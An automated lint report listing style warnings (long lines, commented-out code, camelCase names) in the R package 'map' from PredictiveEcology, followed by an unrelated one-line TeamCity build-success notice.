[R/map-analysis.R:330:4:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L330) *style:* **Commented code should be removed.**
```r
  #args <- unlist(unname(args), recursive = FALSE)
   ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:335:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L335) *style:* **Variable or function name should be snake_case.**
```r
expandAnalysisGroups <- function(ags) {
^~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:336:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L336) *style:* **Variable or function name should be snake_case.**
```r
  combosAll <- NULL
  ^~~~~~~~~
```
[R/map-analysis.R:338:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L338) *style:* **Lines should not be more than 80 characters.**
```r
    combosAll <- do.call(expand.grid, args = append(list(stringsAsFactors = FALSE),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:338:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L338) *style:* **Variable or function name should be snake_case.**
```r
    combosAll <- do.call(expand.grid, args = append(list(stringsAsFactors = FALSE),
    ^~~~~~~~~
```
[R/map-class.R:6:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L6) *style:* **Lines should not be more than 80 characters.**
```r
#' @slot metadata  \code{data.table} with columns describing metadata of map objects in
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-class.R:9:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L9) *style:* **Lines should not be more than 80 characters.**
```r
#' @slot .xData Named environment of map-type objects (e.g., \code{sf}, \code{Raster*},
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-class.R:10:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L10) *style:* **Lines should not be more than 80 characters.**
```r
#'            \code{Spatial*}. Each entry may also be simply an environment, which
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-class.R:11:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L11) *style:* **Lines should not be more than 80 characters.**
```r
#'            indicates where to find the object, i.e., via \code{get(layerName, envir = environment)}
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-class.R:15:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L15) *style:* **Lines should not be more than 80 characters.**
```r
#' @slot paths File paths. A named list of paths. The default is a list of length 2,
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-class.R:18:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L18) *style:* **Lines should not be more than 80 characters.**
```r
#' @slot analyses    A \code{data.table} or \code{data.frame} of the types of analyses to perform.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-class.R:20:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L20) *style:* **Lines should not be more than 80 characters.**
```r
#' @slot analysesData A \code{data.table} or \code{data.frame} of the results of the analyses.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-class.R:41:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L41) *style:* **Lines should not be more than 80 characters.**
```r
  #             c(layerName = "character", layerType = "character", columnNameForLabels = "character",
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-class.R:42:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L42) *style:* **Lines should not be more than 80 characters.**
```r
  #               leaflet = "character", studyArea = "numeric", rasterToMatch = "logical"))
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-class.R:47:20:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L47) *style:* **Variable or function name should be snake_case.**
```r
          function(.Object, ...) {
                   ^~~~~~~
```
[R/map-class.R:48:13:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L48) *style:* **Variable or function name should be snake_case.**
```r
            .Object <- callNextMethod()
            ^~~~~~~
```
[R/map-class.R:49:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L49) *style:* **Lines should not be more than 80 characters.**
```r
            .Object@metadata <- data.table(layerName = character(), layerType = character(),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-class.R:52:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L52) *style:* **Lines should not be more than 80 characters.**
```r
                                           studyArea = numeric(), rasterToMatch = logical())
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-class.R:54:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-class.R#L54) *style:* **Lines should not be more than 80 characters.**
```r
            .Object@analyses <- data.table::data.table(functionName = character())#, quotedFn = character())
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map.R:2:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
  utils::globalVariables(c(".", ":=", ".I", ".N", ".SD", "envir", "layerName", "objectHash"))
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map.R:17:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map.R#L17) *style:* **Lines should not be more than 80 characters.**
```r
#' @param layerName Required. A label for this map layer. This can be the same as
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map.R:26:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map.R#L26) *style:* **Lines should not be more than 80 characters.**
```r
#'  If \code{TRUE} or a character vector, then this layer will be added to a leaflet map.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map.R:27:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map.R#L27) *style:* **Lines should not be more than 80 characters.**
```r
#'  For \code{RasterLayer} object, this will trigger a call to \code{gdal2tiles}, making tiles.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map.R:69:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map.R#L69) *style:* **Lines should not be more than 80 characters.**
```r
#'                layerName = "Smaller Study Area") # adds a second studyArea within 1st
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```


TeamCity Bvcms / Build [Build 1711](https://builds.tpsdb.com/viewLog.html?buildId=7715&buildTypeId=Bvcms_Build) outcome was **SUCCESS**
Summary: Tests passed: 64 Build time: 00:17:44